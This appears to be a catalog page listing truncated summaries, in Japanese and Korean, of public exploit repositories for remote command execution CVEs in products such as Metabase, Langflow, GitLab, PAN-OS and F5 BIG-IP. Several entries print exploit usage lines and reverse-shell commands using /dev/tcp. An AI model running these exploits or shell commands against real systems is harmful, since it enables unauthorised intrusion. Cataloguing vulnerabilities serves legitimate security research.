CVE-2022-43110

CVE-2022-43110 詳細情報 Voltronic Viewpower/Pro およびそのリブランド/派生製品 このUPS管理ソフトウェアは、ウェブインターフェースを使用してシステムを設定できるのは、適切に認証・認可された管理者ユーザーのみであることを前提としています。 （CWE-425: Direct Request 'Forced...

CVE-2022-40635

CVE-2022-40635: CrafterCMS における Groovy サンドボックスバイパス Crafter CMS の Crafter Studio における動的管理コードリソースの不適切な制御の脆弱性により、認証された開発者が Groovy サンドボックスバイパスを介して OS コマンドを実行できる可能性があります。 ベンダーの開示: この脆弱性に関するベンダーの開示と修正は、こちら をご覧ください。 要件: この脆弱性を悪用するには以下が必要です: 有効なユーザー資格情報 概念実証: 詳細と悪用プロセスは、この PDF で確認できます。...

CVE-2023-38646

CVE-2023-38646 Metabase 事前認証RCE（2023年11月26日） Metabase オープンソース版 0.46.6.1 未満、および Metabase Enterprise 版 1.46.6.1 未満では、攻撃者がサーバーの権限レベルで任意のコマンドを実行できる可能性があります。攻撃には認証は不要です。その他の修正済みバージョンは、0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2 です。 この脆弱性は、api/setup/validate 内のデータベース検証に使用できる setup-token...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE エクスプロイトスキャナー CVE-2025-3248 このPythonベースのスキャナーは、Langflowインスタンスにおける認証なしのリモートコード実行（RCE） 脆弱性をCVE-2025-3248 を介して自動検出します。これは、/api/v1/validate/codeエンドポイントを悪用して任意のシェルコマンドを実行する概念実証ペイロードを使用します。 🚨 CVEの詳細 CVE : CVE-2025-3248 影響 : 認証なしのリモートコード実行 コンポーネント : Langflow API /api/v1/validate/code...

CVE-2026-26119

CVE-2026-26119 WAC RCE - CVE-2026-26119 WinREST/PowerShell invokeCommand を介した Windows Admin Center の認証済み RCE。 Usage: python3 wacrce.py "" WACPASS= python3 wacrce.py Env: WACBASE - override target base URL default below WACPASS - password, used if not passed positionally ┌──pwn㉿pwn-/HTB/DanglingTr...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB リモートコマンド実行脆弱性poc...

CVE-2021-22205

취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" 배치 스캔 python3 CVE-2021-2205.py -s true -f target.txt 리버스 셸 python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port...

CVE-2023-34960

ChamiloCVE-2023-34960-EXP ヘルプ： usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL 完全なURLアドレスhttp/https -f FILE, --file FILE バッチURLファイル -c COMMAND, --command COMMAND コマンド実行（オプション） 例： 単一URL python3 CVE-2023-34960.py -u...

CVE-2025-47812

🚀 Wing FTP Exploit - CVE-2025-47812 Wing FTP Server CVE-2025-47812 개선된 익스플로잇 - 인증되지 않은 원격 코드 실행 RCE 🔧 설치 이 저장소를 클론하고 디렉터리로 이동하세요: git clone https://github.com/0xjuarez/CVE-2025-47812.git cd CVE-2025-47812 pip install -r requirements.txt 또는 CVE-2025-47812.py 스크립트를 다운로드하여 실행하세요. 🚀 사용법 usage:...

CVE-2024-3400

CVE-2024-3400 脆弱性 説明 CVE-2024-3400 は、PAN-OS ファイアウォールのバージョン 10.2、11.0、11.1 に影響を与えるセキュリティ脆弱性です。この脆弱性は、GlobalProtect ゲートウェイとデバイス テレメトリの設定が有効になっている場合に悪用されます。攻撃者はこの脆弱性を利用して悪意のあるコマンドを実行し、システムのセキュリティを侵害する可能性があります。 技術的詳細 CVE : CVE-2024-3400 影響を受ける製品 : PAN-OS ファイアウォール バージョン 10.2、11.0、11.1 影響 :...

CVE-2022-25060

CVE-2022-25060 このスクリプトは、TPLink WR840NルーターのoalstartPingコンポーネントにおけるリモートコマンド実行の脆弱性を悪用します。...

-CVE-2025-59528-PoC

CVE-2025-59528-PoC 教育目的専用 CVE-2025-59528を悪用するシンプルなPythonスクリプトです。これは、人気のあるAIツールであるFlowiseアプリケーションにおける認証済みRCE（リモートコード実行）の脆弱性です。また、HTBのシーズナルチャレンジの一部でもあり、そこでテストしました。動作しない場合は、実行しているコマンドが正しいことを確認してください（ヒント: busybox）。 この問題はバージョン -k yourapikey...

CVE-2009-4623

고급 댓글 시스템 1.0 - 원격 명령 실행 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 예제 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2025-53770

CVE-2025-53770 研究ラボ このリポジトリは、制御されたラボ環境においてSharePointスタイルのデシリアライゼーションおよびツールペイン処理の問題を検証するための概念実証研究プロジェクトです。Pythonドライバー、模擬脆弱アプリケーション、および分離テスト用のコンテナアセットが含まれています。 !WARNING...

CVE-2020-14882

CVE-2020-14882 CVE-2020-14882 説明 Oracle Fusion Middleware の Oracle WebLogic Server 製品における脆弱性（コンポーネント: Console）。影響を受けるサポート対象バージョンは 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 です。容易に悪用可能な脆弱性により、ネットワークアクセスを持ち HTTP 経由で認証されていない攻撃者が Oracle WebLogic Server を侵害する可能性があります。この脆弱性の悪用に成功すると、Oracle...

nfsen-exploit

nfsen-exploit nfsen 1.3.7 における CVE-2017-6971 のリモートコマンド実行エクスプロイト。 Ubuntu でテスト済み。おそらくすべての環境で動作します。 脆弱性は Paul Taylor/Foregenix Ltd によって発見されました。 使用方法: python exploit.py これにより、リモートマシン上にルートレベルのシェルが生成されます。...

CVE-2022-1388

CVE-2022-1388 影響 この脆弱性により、管理ポートや自己IPアドレスを介してBIG-IPシステムにネットワークアクセス可能な認証されていない攻撃者が、任意のシステムコマンドの実行、ファイルの作成・削除、サービスの無効化を行う可能性があります。データプレーンの暴露はなく、これはコントロールプレーンの問題に限られます。 使用方法 ./CVE-2022-1388.sh 脆弱な製品 F5 BIG-IP 16.1.0 - 16.1.2 F5 BIG-IP 15.1.0 - 15.1.5 F5 BIG-IP 14.1.0 - 14.1.4 F5 BIG-IP 13.1.0 - 13.1....

CVE-2020-7247

CVE-2020-7247 이 취약점은 OpenBSD 메일 서버 OpenSMTPD의 smtpmailaddr 함수에 존재하며, OpenBSD 버전 6.6에 영향을 미칩니다. 이를 통해 공격자는 root 사용자 권한으로 "sleep 66"과 같은 임의의 셸 명령어를 실행할 수 있습니다. 사용 방법 python3 getShell.py 리버스 셸이 필요하다면 다음과 같이 실행하세요. python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 중요 이 익스플로잇에서 RCPT t...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169は、ネットワーク監視・管理ソフトウェアであるCactiで発見されたセキュリティ脆弱性です。この脆弱性により、攻撃者は特別に細工されたHTTPリクエストを送信することで、認証なしでシステムをリモートから悪用できます。この脆弱性を悪用することで、攻撃者は対象システム上で任意のシステムコマンドを実行できます。これは、権限のない人物が影響を受けるシステムを制御し、昇格された権限で悪意のある活動を実行することを可能にするため、重大なリスクをもたらします。この脆弱性は remoteagent.php...

CVE-2025-56803

CVE-2025-56803 피그마 데스크탑 애플리케이션의 플러그인 실행을 통한 OS 명령어 삽입 취약점 1. 개요 애플리케이션 : Figma Desktop Application 버전 : 125.6.5 공급업체 : Figma, Inc. CWE : CWE-78: OS 명령어에 사용되는 특수 요소의 부적절한 중화 'OS 명령어 삽입' CVSS : 8.4 벡터 문자열 : CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 2. 요약 Figma Desktop Applicationv125.6.5은 플러그인...